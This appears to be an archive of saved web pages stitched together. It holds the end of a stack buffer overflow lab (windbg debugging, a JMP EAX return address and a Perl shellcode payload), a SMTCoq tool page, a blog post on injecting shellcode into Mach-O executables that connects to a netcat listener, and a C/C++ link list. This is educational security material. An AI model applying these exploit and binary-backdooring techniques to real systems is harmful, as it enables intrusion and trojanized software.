To make things a little easier to debug, an INT 3 instruction has been added
near the beginning of the program. When you execute the program, it'll pop up
your debugger automatically, allowing you to step through your code from near
the beginning. For more information on how to set up your windbg environment,
as well as an explanation of useful commands, check out the windbg cheatsheet:  
Windbg cheatsheet

The commands you'll probably use most for this exercise are p and t\(step
over/step into respectively\), bp 0xNNNNNNNN \(set breakpoint at address
0xNNNNNNNN\), and g \(continue to next breakpoint\).

b\) Testing hypotheses by observation of stack behavior/registers.

You won't always succeed in popping a shell on the first try. Don't despair\!

First, focus on owning EIP. Keep an eye on the stack. Observe its behavior at
several different points of execution as well as its effect on the location of
your saved return address. Try first overwriting it with ASCII to see if you
manage to cause an access violation, then use a separate 4-byte string, once
that's distinguishable from other padding \(if your padding is A's, try
"BBBB"\), and place it at the point in your payload where you -think- you'll
be overwriting the return address. This will ensure that you're not
overshooting the return address completely.

If you're still not getting EIP and you swear you've provided enough
characters to cause an overflow, the problem may lie in the execution. Try
stepping through the program with the debugger to see if you ever reach your
RET instruction; maybe something was overlooked. For example, our program
calls exit\(\) unless 'x' is the 4th byte of our payload.

c\) Dealing with non-stack addresses.

One of the victory conditions for these awbo exercises is that you must
successfully exploit the program without explicitly referencing any stack
addresses. In other words, the return address should not be overwritten with
an address on the stack, but you may use any other address in memory.

Remember -- data is just data; it's how it's interpreted that's important, and
there are other ways to get to the stack. The stack address you need to jump
to might still be in one of your registers, or even on the stack itself. If
only there were some instruction in memory you could use to your advantage...
Hmm...

In our example program, if you set a breakpoint at the address of RET \(bp
0x00401038 for me\) and examine your registers, you'll notice something: the
address of the first byte of our buffer happens to be sitting in the EAX
register. A JMP EAX instruction would get us there painlessly. All we need to
do is find it in memory.

You can search for bytes, words, doublewords and ASCII in windbgwith the "s"
command. The syntax is listed in the windbg cheatsheet:

[code]

      s -[d|w|b|a] 0x00000000 L?0xffffffff searchval
                       - first option is size (dword, word, byte, ASCII string)
                       - second option is start address
                       - third option is end address
                       - last option is the value to search for
                           - ex dword: 0x41414141
                           - ex word 0x4241
                           - ex byte ff e3 (can be as many as you like!)
                           - ex ASCII: avacado!
    
    
[/code]

The instruction JMP EAX is FF E0 in hex. You can figure out the hex
representation of an instruction in windbg with the "a" command. Hit enter,
then type your instruction in assembly.

So let's do a search for the two-byte pattern ff and e0 with the "s" command.
When using the search command this way, you don't need to worry about
endianness:

[code]

      s -b 0x00000000 L?0xffffffff ff e0
    
    ...
    002b4058  ff e0 02 02 02 e1 02 02-03 e1 02 02 04 e1 02 02 ................
    7c573924  ff e0 5a 7c ff ff ff ff-00 00 00 00 04 e0 5a 7c  ..Z|..........Z|
    7c5c4c8c  ff e0 04 00 82 da 04 00-36 0e 04 00 84 a6 03 00  ........6.......
    ...
    
    
[/code]

Let's use the first address, 0x002b4058.

Remember, addresses need to be fed to the payload in reverse-byte order
because of the little-endianness of x86 architecture.

So now, your payload should look something like this:

[code]

    $filler = "A" x (252-length($shellcode));
    print ("AAAx".$filler.$shellcode."\x58\x40\x2b\x00");
    
    
[/code]

### To review:

"AAAx" satisfies our requirement that the 4th byte be "x".  
'$filler' is our padding.  
'$shellcode' is the code that will actually be executed.  
"\x58\x40\x2b\x00" is the address of our JMP EAX instruction, fed to the
program in reverse-byte order because of little-endianness.

Just pipe it to your program, run 'g' from the windbg command line and voila\!
Calculator\!

# SMTCoq

**Created:**| _1/31/2012 7:15:01 PM_  
---|---  
**Updated:**| _1/31/2012 7:15:15 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification Theorem SMT_  
  

# SMTCoq

SMTCoq is a Coq tool that checks **proof witnesses** coming from external SAT
and SMT solvers. It provides:

  * a **certified** checker for proof witnesses coming from the SAT solver ZChaff and the SMT solver veriT. This checker increases the confidence in these tools by checking their answers _a posteriori_ ;
  * **decision procedures** through new tactics named `verit`, that calls veriT on any Coq goal, and `zchaff`, that calls ZChaff on any Coq goal.

It is mainly developed by Michaël Armand and Benjamin Grégoire at INRIA
Sophia-Antipolis, and Chantal Keller at École Polytechnique and INRIA Saclay-
Île-de-France, with some help from Germain Faure and Laurent Thery.

  * ## Sources
  * ## Use
  * ## Suggestions and bugs report

* * *
## Sources

The source code is distributed under the terms of the CeCILL-C licence.  
Download:

  * Development version, snapshot of 01/17/12.

To install it, please report to the installation instructions available in the
archive.

Top of the page

* * *
## Use

SMTCoq is designed to be used with versions of ZChaff and veriT that can
deliver proof witnesses. Such versions can be downloaded at:

  * veriT
  * ZChaff

Please follow the instructions available for each solver in order to compile
them in a proof production mode. In the following, we consider that the
commands "veriT" or "zchaff" is in your PATH variable environment \(depending
on the one you want to use\).

### Examples

Examples are given in the file examples/Example.v available in the archive.
They are meant to be easily re-usable for your own usage.

### Checking ZChaff answers of unsatisfiability

If you want to check the result given by ZChaff on an unsatisfiable dimacs
file `file.cnf`:

  * Produce a ZChaff proof witness: `zchaff file.cnf`. This produces a proof witness file named `resolve_trace`.
  * In a Coq file `file.v`, put:  
`Require Import SMTCoq.`  
`Checker_zchaff "file.cnf" "resolve_trace".`

  * Compile `file.v`: `coqc file.v`. If it returns `true` then ZChaff indeed proved that the problem was unsatisfiable.

### Checking veriT answers of unsatisfiability

If you want to check the result given by veriT on an unsatisfiable QF\_UF file
`file.smt`:

  * Produce a veriT proof witness: `verit --proof-prune --proof-merge --proof-with-sharing --cnf-p-definitional --proof=file.log file.smt`. This produces a proof witness file named `file.log`.
  * In a Coq file `file.v`, put:  
`Require Import SMTCoq.`  
`Checker_verit "file.smt" "file.log".`

  * Compile `file.v`: `coqc file.v`. If it returns `true` then veriT indeed proved that the problem was unsatisfiable.

### ZChaff as a Coq decision procedure

The `zchaff` tactic can be used for any goal of the form:  
`forall l, b1 = b2`  
where `l` is a list of booleans \(that can be concrete terms\).  

### veriT as a Coq decision procedure

The `verit` tactic can be used for any goal of the form:  
`forall l, b1 = b2`  
where `l` is a list of booleans. Those booleans can be any concrete terms. If
they involve equalities, the QF\_UF solver is called.  

Top of the page

* * *
## Suggestions and bugs report

Do not hesitate to make any suggestion or to report bugs to Chantal Keller
\(remove the anti-spam _dot_ s and _at_\).

Top of the page

* * *
Last update: 01/17/12

Vimium has been updated to 1.30.x

# Secure All The Things: Patching the Mach-o Format the Simple and Easy Way

**Created:**| _8/19/2014 8:40:42 PM_  
---|---  
**Updated:**| _8/19/2014 8:40:42 PM_  
**Author:**| __  
**Tags:**| _Mac-hacking binary_  
  

# Patching the Mach-o Format the Simple and Easy Way

This is a strange post for me.  
  
I'm relatively new to mac research. So when I find something new, that seems
cutting edge, but relatively simple I question it. Has anyone else done this
before? Is this in the public domain? Is this in the academic domain that I
have no way of researching?  
  
I google like hell.  
  
I question myself \(for a short period of time\).  
  
I write my congressman.  
  
I wait.  
  
I try to contact people in the know without letting them know to much.  
  
Then I'm afraid I've said too much.  
  
So here we are.  
  
Thank's to the guys in \#osxre \(fg\!\) for telling what would work and not
work.  
  
This is my 'new' method for patching the mach-o format.  
  
The macho format is simply nested segments in a very straight forward
waterfall format that IMHO is much more simple than the PE and ELF formats.  
  
As you have seen many times, this is the format, no seriously, this is it:

<img src='img/Temp2_7277.png' />

From:
https://developer.apple.com/library/mac/documentation/DeveloperTools/Conceptual/MachORuntime/Reference/reference.html  
  
What is so special about this format?  
  
It is very ~~hackable~~ easy to modify, far easier than ELF and PE formats.  
  
There are not many code caves in a mach-o executable:  
$ file ls.mach-o  
ls.mach-o: Mach-O 64-bit executable x86\_64  
  
$ python ./find\_caves.py ls.mach-o  
\[\*\] Looking in ls.mach-o for caves  
\[\*\] Looking for caves of 50 byes in size  
No section  
->Begin Cave 0x736  
->End of Cave 0x10f8 \# <\--- Remember this one  
Size of Cave \(int\) 2498  
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*  
No section  
->Begin Cave 0x4ff6  
->End of Cave 0x5038  
Size of Cave \(int\) 66  
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*  
No section  
->Begin Cave 0x54d1  
->End of Cave 0x6000  
Size of Cave \(int\) 2863  
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*  
\[\*\] Total of 3 caves found  
  
The caves are large, but they are not in a section that includes read/execute
attributes.  
  
But let's look at the beginning of the \_\_TEXT/\_text segment/section:

<img src='img/Temp2_7273.png' />

Let's look at lower address space, what's going on?  
  
Continuing:

<img src='img/Temp2_7279.png' />

Continuing:

<img src='img/Temp2_7274.png' />

You get the idea. Many zeros. Much waste. Wow.  
**But that looks like enough room for shellcode, right? \(The answer is
yes\).**  
  
How do we make that part of the \_\_TEXT,\_\_text segment/section?  
  
Easy:  
  
1\. Change the \_\_text section Address and Offset to the beginning of your
shellcode and Size to accommodate your new shellcode.  
  
Before:

<img src='img/Temp2_7283.png' />

After:

<img src='img/Temp2_7278.png' />

2\. Change LC\_Main to point to the \_\_text Offset or if a LC\_UNIXTHREAD
binary make sure \[eip|rip\] points to the new \_\_text Address.  
  
Before:  
  

<img src='img/Temp2_7276.png' />

  
  
After:  

<img src='img/Temp2_7282.png' />

  
  
  
3\. You need to fork\(\) your shellcode so that it continues after the parent
has completed and you need to make sure that what LC\_MAIN/LC\_UNIXTHREAD was
pointing to originally is the first thing that is executed whether a dyld or
the \_\_text section. Here I have the shellcode that I use in my POC.

<img src='img/Temp2_7280.png' />

And that's it. No really. That's it.  
  
Here's the beginning of the \_\_TEXT Segment after:

<img src='img/Temp2_7281.png' />

As you may have already figured out, this method works on both LC\_MAIN and
LC\_UNIXTHREAD binaries. Also, this will work from within Fat binaries.  
  
Proof:<img src='img/Temp2_7275.png' />  
---  
Top window: netcat listener  
Bottom window: Executing the patched ls.macho showing all the other
successfully patched bins with my POC.  
I've already automated the i386/x64 intel chipset mach-o patching, expect an
update in BDF supporting these chipsets and Fat binaries containing these
mach-o formats.  
  
Cheers,  
Midnite\_runr

# Roman's knowledgebase » C/C++ Language

**Created:**| _3/12/2012 3:53:58 PM_  
---|---  
**Updated:**| _3/12/2012 2:54:28 PM_  
**Author:**| __  
**Tags:**| _bookmark C++ awesome c++0x_  
  

## C/C++ Language

February 15th, 2012

## Contents

  * C Language
  * C++ Language
  * STL
  * STL – Boost
  * Algorithms
  * Source
  * Libraries
  * Libraries – Command Line
  * Libraries – Standard algorithms
  * Libraries – Compression
  * Libraries – Debug
  * Libraries – SQL
  * Libraries – Logging
  * Libraries – Multiplatform
  * Libraries – UI
  * Libraries – Graphics
  * Libraries – Media
  * Libraries – XML
  * Libraries – Parsers
  * Libraries – Network
  * Libraries – Web
  * Libraries – Other
  * Microsoft relating
  * TDD \(Test-driven development\)
  * Tools
  * Tools – Profilers
  * Tools – Code review
  * Tools – Code analysing
  * IDE and Compilers
  * Tricks
  * Articles
  * Articles – Presentations
  * Articles – Libraries – Graphics
  * Articles – Libraries – Network
  * Articles – Tools – CMake

## Common

  * C++ Coding Guidlines

## C Language

  * C \(programming language\)
  * C standard library \(wikipedia\)
  * C libraries \(wikipedia\)
  * C libraries \(dmoz.org\)
  * C Language Library \(cplusplus.com\)
  * C Programming FAQs: Frequently Asked Questions
  * 100 Multiple choice questions in C
  * Robust Design Techniques for C Programs \(This paper presents several techniques used to design robust C programs and libraries.\)
  * CERT C Secure Coding Standard

## C++ Language

  * C++ Coding Standard
  * C Programming and C++ Programming
  * C++ FAQ LITE — Frequently Asked Questions
  * Thinking in C++ 2nd Edition by Bruce Eckel
  * CPlusPlus
  * C++ Reference
  * C++0x – the next ISO C++ standard. This document is written by and maintained by Bjarne Stroustrup.
  * allcpp.com a web site entirely devoted to C++
  * Learning C++ Pointers for REAL Dummies
  * Google C++ Style Guide
  * Linux C++ Software Development \- Links to Linux C++ GUI frameworks, APIs, IDEs, as well as C++ tips for Linux developers
  * slideshare: Presentations and documents tagged “C/C++”

## STL

  * STL Guide \(Table of Contents: the Standard Template Library\)
  * std Namespace Reference \(gcc GNU\)
  * STLport
  * Loki is a C++ library of designs, containing flexible implementations of common design patterns and idioms.
  * Standard Template Library \(STL\) lectures

## STL – Boost

  * The Boost C++ Libraries
  * Boost
  * Library 9. Boost.Bind. Глава из книги “Beyond the C++ Standard Library: An Introduction to Boost”

## Algorithms

  * Онлайн-энциклопедия целочисленных последовательностей
  * List of algorithms
  * «Алгоритмы и методы»
  * exact string matching algorithms
  * Bit Twiddling Hacks
  * Анализ строк
  * Алгоритм Флойда — Уоршелла — алгоритм для нахождения кратчайших расстояний между всеми вершинами взвешенного графа без циклов с отрицательными весами с использованием метода динамического программирования.

## Source

  * CCAN – nice snippets of C code should be moved out of junkcode directories and exposed to a wider world, where they can become something useful. CCAN is loosely modelled after the successful CPAN project for Perl code development and sharing.
  * sources.ru
  * The Code Project
  * Koders.com is a free on-line search engine for open source software and other web-downloadable code

## Libraries

  * Crypto 
    * Crypto++
    * Botan, a friendly C++ crypto library
    * Libecc is an elliptic curve crypto library for C++ developers. It is currently in development.
  * Win32 OpenSSL
  * The Better String Library
  * cstring – C-style string definition and manipulation library.
  * FastFormat – the best C++ output/formatting library you’ll ever use.
  * Trio – portable and extendable printf and string functions. Trio is a fully matured and stable set of printf and string functions designed be used by applications with focus on portability or with the need for additional features that are not supported by standard stdio implementation.
  * b64 – Base-64 Encoding Library \(C library with C++ mapping; Platform-independent\)
  * The MemSL for C and C++ - Includes a complete data structures/collection classes library, memory tracing, memory debugging, entry/exit tracing, exception handling, definable memory handlers, built-in threads support and much more.
  * Flux is a library of odds and ends related to data storage and indexing, marshalling, transfer, compression and encryption. It also features a slew of utility functions for various purposes. It is written in C, using the GLib paradigm.
  * Regular Expression 
    * PCRE – Perl Compatible Regular Expressions
  * GLib 
    * GLib Reference Manual \(GLib 2.24.0\)
    * Справочное описание GLib \(GLib 2.13.0\)
  * DispHelper is a COM helper library that can be used in C++ or even plain C. No MFC or ATL required\! It allows you to call COM objects with a printf style syntax. Included with DispHelper are over 20 samples demonstrating using COM objects from ADO to WMI.
  * Libsmbios is a cross-OS library intended to be used to obtain common information available in BIOS using a unified application programming interface \(API\). Currently, it can programmatically access any information in the SMBIOS tables. It also has the ability to obtain Dell system-specific information such as the Dell System ID number, service tag, and asset tag. Future plans include APIs for $PIR, and mptable mapping.
  * fuse-zip is a FUSE file system to navigate, extract, create and modify ZIP archives based in libzip implemented in C++. With fuse-zip you really can work with ZIP archives as real directories. Unlike KIO or Gnome VFS, it can be used in any application without modifications.
  * VOLE – A Neat C++ COM/Automation Driver. VOLE is an open-source C++ library that dramatically simplifies the business of driving COM servers \(via the IDispatch interface\) from C++.

## Libraries – Command Line

  * CLAP is a C++ package that enables a programmer to define and parse command line arguments easily.
  * TCLAP is a small, flexible library that provides a simple interface for defining and accessing command line arguments. It was intially inspired by the user friendly CLAP libary. The difference is that this library is templatized, so the argument class is type independent. Type independence avoids identical-except-for-type objects, such as IntArg, FloatArg, and StringArg. While the library is not strictly compliant with the GNU or POSIX standards, it is close.

## Libraries – Standard algorithms

  * tree — AVL balanced binary trees for C – tree.h is an implementation of AVL \(Adelson-Velskii and Landis\) balanced trees in the spirit of the BSD queue and list implementations.

## Libraries – Compression

  * compression.ru – задачей сайта является сбор и публикация материалов в области сжатия данных. На сервере расположены фрагменты книги “Методы сжатия данных”, вышедшей в 2002 году, более 1030 статей по сжатию и исходные тексты более 50 компрессоров.
  * The Data Compression Information Source
  * LZHAM \(LZ, Huffman, Arithmetic, Markov\) is a general purpose lossless data compression library that borrows many ideas from LZMA but purposely makes several key tradeoffs that favor decompression speed over compression ratio. LZHAM’s compression ratio is currently approximately .5-1.5% less than LZMA, but decompresses approximately 2-3x faster on a Core i7.
  * zlib – a massively spiffy yet delicately unobtrusive compression library
  * LZO is a portable lossless data compression library written in ANSI C.
  * FreeArc is a modern general-purpose archiver. Main advantage of FreeArc is fast but efficient compression and rich set of features.

## Libraries – Debug

  * memwatch – a memory leak detection tool. Basically, you add a header file to your souce code files, and compile with MEMWATCH defined or not. The header file MEMWATCH.H contains detailed instructions.

## Libraries – SQL

  * SQLite
  * hiberlite – C++ Object-relational mapping for sqlite3. C++ object-relational mapping with API inspired by the Boost.Serialization – that means almost no API to learn. In contrast to most serialization libraries with SQL serializers, C++ objects mapped with hiberlite behave similar to active record pattern – you are not forced to follow the “read all your data/modify some small part/write everything back” path. For people who need reliable data storage, ACID transactions, simple random-access to their data files, and don’t like coding in SQL.
  * OTL – Oracle, ODBC and DB2-CLI Template Library. OTL 4.0 is a C++ library based on C++ templates.

## Libraries – Logging

  * Pantheios is an Open Source C/C++ Diagnostic Logging API library, offering an optimal combination of 100% type-safety, efficiency, genericity and extensibility. It is simple to use and extend, highly-portable \(platform and compiler-independent\) and, best of all, it upholds the C tradition of you only pay for what you use.
  * CMCrashReporter is a free and open-source framework written in Cocoa which developers can stick in their applications to allow the user to easily send a crashlog back to the developer.
  * xTests is a simple, easy-to-use, efficient unit- and component-test library, for multiple languages. Combining high discoverability and low coupling, xTests is a lightweight solution designed for use in verifying other libraries.

## Libraries – Multiplatform

  * LibU – is a multiplatform C library which comes under a BSD-style license. It includes many interdependent modules for accomplishing several tasks: memory allocation, networking and URI parsing \(rfc2396\), string manipulation, debugging and logging in a very compact way, plus many other miscellaneous tasks.
  * commonc++ is a C++ class library for developing cross-platform systems software for POSIX systems \(GNU/Linux, Mac OS X, Solaris\) and Windows \(Visual Studio or GNU toolchain via MinGW\). It provides C++ wrappers for common operating system facilities like threads, mutexes, semaphores, sockets, shared memory, regular expressions, filesystem access, etc., as well as abstractions for strings, buffers, object pools, timers, logging, and more.
  * dlib C++ library – is a general purpose cross-platform C++ library designed using contract programming and modern C++ techniques. It is open source software and licensed under the Boost Software License.
  * Openframeworks is a c++ library designed to assist the creative process by providing a simple and intuitive framework for experimentation. The library is designed to work as a general purpose glue, and wraps together several commonly used libraries under a tidy interface: openGL for graphics, rtAudio for audio input and output, freeType for fonts,freeImage for image input and output, quicktime for video playing and sequence grabbing.
  * UNIXem: UNIX Emulation Library for Win32
  * recls – recursive ls – the platform-independent recursive search library
  * shwild is a simple, platform-independent, library that implements shell-compatible wildcard pattern matching. It is implemented in C/C++, expressing a C-API, with a C++ wrapper
  * The ADAPTIVE Communication Environment \(ACE\)
  * Portable Dynamic Loader \(PDL\) project – C++ Portable Dynamic Loader A small and lightweight library for creating and using dynamically loaded classes in C++. Common interface works on both Windows and Unix/Linux platforms.
  * Apache Portable Runtime\(APR\) 
    * Введение в APR

## Libraries – UI

  * wxWidgets is a C++ library that lets developers create applications for Windows, OS X, Linux and UNIX on 32-bit and 64-bit architectures as well as several mobile platforms including Windows Mobile, iPhone SDK and embedded GTK+.
  * Ultimate++ is a C++ cross-platform rapid application development framework
  * BCGSoft – Professional GUI for professional applications. BCGControlBar Professional is an MFC extension library that allows you to create the most advanced user interfaces in the world. It combines an easy to use and very powerful feature set implemented by highly customizable collection of MFC extension classes.
  * HTMLayout – fast, lightweight and embeddable HTML/CSS renderer and layout manager component. \(HTMLayout Wiki\)
  * GTK+. gtkmm is the official C++ interface for the popular GUI library GTK+

## Libraries – Graphics

  * GraphicsMagick is the swiss army knife of image processing. Comprised of 282K physical lines \(according to David A. Wheeler’s SLOCCount\) of source code in the base package \(or 952K including 3rd party libraries\) it provides a robust and efficient collection of tools and libraries which support reading, writing, and manipulating an image in over 88 major formats including important formats like DPX, GIF, JPEG, JPEG-2000, PNG, PDF, PNM, and TIFF. Image processing may be multi-threaded using OpenMP so that CPU-bound tasks scale linearly as processor cores are added. OpenMP support requires compilation with GCC 4.2 \(or later\), or use of any C compiler supporting at least the OpenMP 2.0 specification.
  * ImageMagick is a software suite to create, edit, and compose bitmap images. It can read, convert and write images in a variety of formats \(over 100\) including DPX, EXR, GIF, JPEG, JPEG-2000, PDF, PhotoCD, PNG, Postscript, SVG, and TIFF. Use ImageMagick to translate, flip, mirror, rotate, scale, shear and transform images, adjust image colors, apply various special effects, or draw text, lines, polygons, ellipses and Bezier curves.
  * Clutter is an open source \(LGPL 2.1\) software library for creating fast, compelling, portable, and dynamic graphical user interfaces. It is a core part of MeeGo, and is supported by the open source community. Its development is sponsored by Intel.
  * OpenCV \(Open Source Computer Vision\) is a library of programming functions for real time computer vision. OpenCV шаг за шагом.

## Libraries – Media

  * FFmpeg is a complete, cross-platform solution to record, convert and stream audio and video. It includes libavcodec – the leading audio/video codec library.
  * MediaInfo supplies technical and tag information about a video or audio file. It is free software \(free of charge and free access to source code: GPL or LGPL licence\)
  * libVLC\- you can embed libVLC into your application to gain audio/video playing features. 
    * doxygen \(modules\)
    * forum
  * TagLib is a library for reading and editing the meta-data of several popular audio formats. Currently it supports both ID3v1 and ID3v2 for MP3 files, Ogg Vorbis comments and ID3 tags and Vorbis comments in FLAC, MPC, Speex, WavPack TrueAudio, WAV, AIFF, MP4 and ASF files.

## Libraries – XML

  * Libxml2 is the XML C parser \(Windows port\)
  * Xerces-C++ is a validating XML parser written in a portable subset of C++. Xerces-C++ makes it easy to give your application the ability to read and write XML data. A shared library is provided for parsing, generating, manipulating, and validating XML documents using the DOM, SAX, and SAX2 APIs.
  * TinyXML is a simple, small, minimal, C++ XML parser that can be easily integrating into other programs. It reads XML and creates C++ objects representing the XML document. The objects can be manipulated, changed, and saved again as XML.
  * LibAxl \(or just Axl\) is an implementation of the XML 1.0 standard specification, developed by the ASPL people to support many of its XML software requirements.
  * RapidXml is an attempt to create the fastest XML parser possible, while retaining useability, portability and reasonable W3C compatibility. It is an in-situ parser written in modern C++, with parsing speed approaching that of strlen function executed on the same data.

## Libraries – Parsers

  * libConfuse is a configuration file parser library, licensed under the terms of the ISC license, and written in C. It supports sections and \(lists of\) values \(strings, integers, floats, booleans or other sections\), as well as some other features \(such as single/double-quoted strings, environment variable expansion, functions and nested include statements\). It makes it very easy to add configuration file capability to a program using a simple API.
  * Open-RJ is an open-source library that implements readers of the Record-Jar structured text file format. It is implemented in C & C++, with a C-API. The implementation of the basic library is platform-independent. In addition to platform-independence, the library focuses on small runtime costs – memory and speed – and the classic UNIX attributes of discoverability and visibility.

## Libraries – Network

  * libcurl – libcurl is a free and easy-to-use client-side URL transfer library, supporting DICT, FILE, FTP, FTPS, GOPHER, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMTP, SMTPS, TELNET and TFTP. libcurl supports SSL certificates, HTTP POST, HTTP PUT, FTP uploading, HTTP form based upload, proxies, cookies, user+password authentication \(Basic, Digest, NTLM, Negotiate, Kerberos\), file transfer resume, http proxy tunneling and more\!
  * libssh2 is a client-side C library implementing the SSH2 protocol
  * OMQ is a new layer in the networking stack, a scalability layer that spreads the load of a distributed system so that it can support arbitrarily large applications. OMQ defines the overall topology of the distributed system rather than simple point-to-point communication. 0MQ applications are concurrent without locks, and elastic over any number of threads, cores, and boxes.
  * Mongrel2 is an application, language, and network architecture agnostic web server that focuses on web applications using modern browser technologies.
  * GNU libmicrohttpd is a small C library that is supposed to make it easy to run an HTTP server as part of another application.
  * POCO – modern, powerful open source C++ class libraries and frameworks for building network- and internet-based applications that run on desktop, server and embedded systems.

## Libraries – Web

  * CAS – C++ Application Server
  * The Chromium Embedded Framework \(CEF\) is an open source project to develop a Web browser control based on the Google Chromium project. The base framework includes C and C++ programming interfaces exposed via native libraries that insulate the host application from Chromium and WebKit implementation details. It provides close integration between the browser control and the host application including support for custom plugins, protocols, JavaScript objects and JavaScript extensions. The host application can optionally control resource loading, navigation, context menus, printing and more, while taking advantage of the same performance and HTML5 technologies available in the Google Chrome Web browser.
  * JSON \(see “Useful Links“, “Web – data interaction” section\) 
    * cJSON – An ultra-lightweight, portable, single-file, simple-as-can-be ANSI-C compliant JSON parser, under MIT license.
    * jajl \- Yet Another JSON Library. YAJL is a small event-driven \(SAX-style\) JSON parser written in ANSI C, and a small validating JSON generator. YAJL is released under the BSD license.

## Libraries – Other

  * Shed Skin is an experimental compiler, that can translate pure, but implicitly statically typed Python programs into optimized C++. It can generate stand-alone programs or extension modules that can be imported and used in larger Python programs.
  * GUP – is a Generic Updater running under Windows environment. The aim of GUP is to provide a ready to use and configurable updater which downloads a update package then installs it. By using cURL library and TinyXml module, GUP is capable to deal with http protocol and process XML data.
  * V8 JavaScript Engine. 
    * Using V8 – Google’s Chrome JavaScript Virtual Machine. Tutorial and sample explaining how to use the V8 virtual machine inside your application.
  * PoDoFo is a library to work with the PDF file format. The name comes from the first letter of PDF \(Portable Document Format\). A few tools to work with PDF files are already included in the PoDoFo package.
  * libusb – a library that gives user level applications uniform access to USB devices across many different operating systems.
  * The OGR Simple Features Library is a C++ open source library \(and commandline tools\) providing read \(and sometimes write\) access to a variety of vector file formats including ESRI Shapefiles, S-57, SDTS, PostGIS, Oracle Spatial, and Mapinfo mid/mif and TAB formats.

## Microsoft relating

  * For more info, see “Microsoft Windows” page

## TDD \(Test-driven development\)

  * Google C++ Testing Framework \(googletest\) – Google’s framework for writing C++ tests on a variety of platforms \(Linux, Mac OS X, Windows, Cygwin, Windows CE, and Symbian\). Based on the xUnit architecture. Supports automatic test discovery, a rich set of assertions, user-defined assertions, death tests, fatal and non-fatal failures, value- and type-parameterized tests, various options for running the tests, and XML test report generation.

## Tools

  * CMake  – the cross-platform, open-source build system
  * SCons is an Open Source software construction tool—that is, a next-generation build tool. Think of SCons as an improved, cross-platform substitute for the classic Make utility with integrated functionality similar to autoconf/automake and compiler caches such as ccache. In short, SCons is an easier, more reliable and faster way to build software.
  * Low Level Virtual Machine
  * Low Level Virtual Machine \(LLVM\)
  * Stunnix C++ Obfuscator is an advanced tool for making C and C++ source code difficult to understand and adapt. It’s useful for cases when source code needs to be shipped without fear of intellectual property theft or illegal code reuse.
  * CScout is a source code analyzer and refactoring browser for collections of C programs.

## Tools – Profilers

  * Intel® VTune™ Performance Analyzer evaluates applications on all sizes of systems based on Intel® processors, from embedded systems through supercomputers, to help you improve application performance. VTune Performance Analyzer makes application performance tuning easier and is indispensable for making your software run its fastest on the latest single and multicore systems.
  * Valgrind is an award-winning instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools. It runs on the following platforms: X86/Linux, AMD64/Linux, PPC32/Linux, PPC64/Linux, and X86/Darwin \(Mac OS X\).
  * OProfile is a system-wide profiler for Linux systems, capable of profiling all running code at low overhead. OProfile is released under the GNU GPL.
  * Coverity Prevent for C/C++ – optimize software integrity and decrease development time with the most precise static source code analysis solution available today. Coverity Prevent for C/C++ automatically identifies and helps resolve the most critical quality defects, security vulnerabilities and concurrency defects at the earliest stage in the software development cycle. It is the product of choice for developers who demand flexibility, maturity and accuracy in source code analysis. Prevent helps development teams ensure the integrity of the critical software code they deliver by automating the defect discovery process at the earliest stage of the production lifecycle.
  * Bullseye Coverage – quickly find untested C++ code and measure testing completeness.
  * OpenGrok is a fast and usable source code search and cross reference engine. It helps you search, cross-reference and navigate your source tree. It can understand various program file formats and version control histories like Mercurial, Git, SCCS, RCS, CVS, Subversion, Teamware, ClearCase, Perforce, Monotone and Bazaar. In other words it lets you grok \(profoundly understand\) the open source, hence the name OpenGrok. It is written in Java.
  * Klocwork – provides source code analysis tools that boost development productivity. Over 700 organizations use Klocwork‘s static analysis technology to identify security vulnerabilities and quality defects, optimize their peer code review process, and enable developers to create more maintainable code.

## Tools – Code review

  * List of tools for static code analysis
  * Artistic Style \- A Free, Fast and Small Automatic Formatter for C, C++, C\#, and Java Source Code
  * Vera++ – Programmable verification and analysis tool for C++
  * Splint is a tool for statically checking C programs for security vulnerabilities and coding mistakes. With minimal effort, Splint can be used as a better lint. If additional effort is invested adding annotations to programs, Splint can perform stronger checking than can be done by any standard lint.

## Tools – Code analysing

  * Cppcheck \- is an static analysis tool for C/C++ code. Unlike C/C++ compilers and many other analysis tools it does not detect syntax errors in the code. Cppcheck primarily detects the types of bugs that the compilers normally do not detect. The goal is to detect only real errors in the code \(i.e. have zero false positives\).
  * Visual Lint is Riverblade’s solution for developers who require advanced static code analysis capabilities within the Microsoft Visual Studio and eMbedded Visual C++ integrated development environments.

## IDE and Compilers

  * Low Level Virtual Machine \(LLVM\)
  * Comeau C++ Online
  * MinGW \- a contraction of “Minimalist GNU for Windows”, is a port of the GNU Compiler Collection \(GCC\), and GNU Binutils, for use in the development of native Microsoft Windows applications.
  * lcc – a retargetable compiler for ANSI C
  * pcc – the Portable C Compiler
  * TDM-GCC is a compiler suite for Windows. It combines the most recent stable release of the GCC toolset with the free and open-source MinGW or MinGW-w64 runtime APIs to create a LIBRE alternative to Microsoft’s compiler and platform SDK.
  * codepad is an online compiler/interpreter, and a simple collaboration tool
  * CINT is an interpreter for C and C++ code. It is useful e.g. for situations where rapid development is more important than execution time. Using an interpreter the compile and link cycle is dramatically reduced facilitating rapid development. CINT makes C/C++ programming enjoyable even for part-time programmers.
  * SDCC – Small Device C Compiler
  * Tiny C Compiler \- You can compile and execute C code everywhere, for example on rescue disks \(about 100KB for x86 TCC executable, including C preprocessor, C compiler, assembler and linker\). Tcc generates x86 code. No byte code overhead. Compile, assemble and link several times faster than GCC. Any C dynamic library can be used directly. TCC is heading torward full ISOC99 compliance. TCC can of course compile itself. Tcc includes an optional memory and bound checker. Bound checked code can be mixed freely with standard code. Compile and execute C source directly. No linking or assembly necessary. Full C preprocessor and GNU-like assembler included. C script supported. With libtcc, you can use TCC as a backend for dynamic code generation.
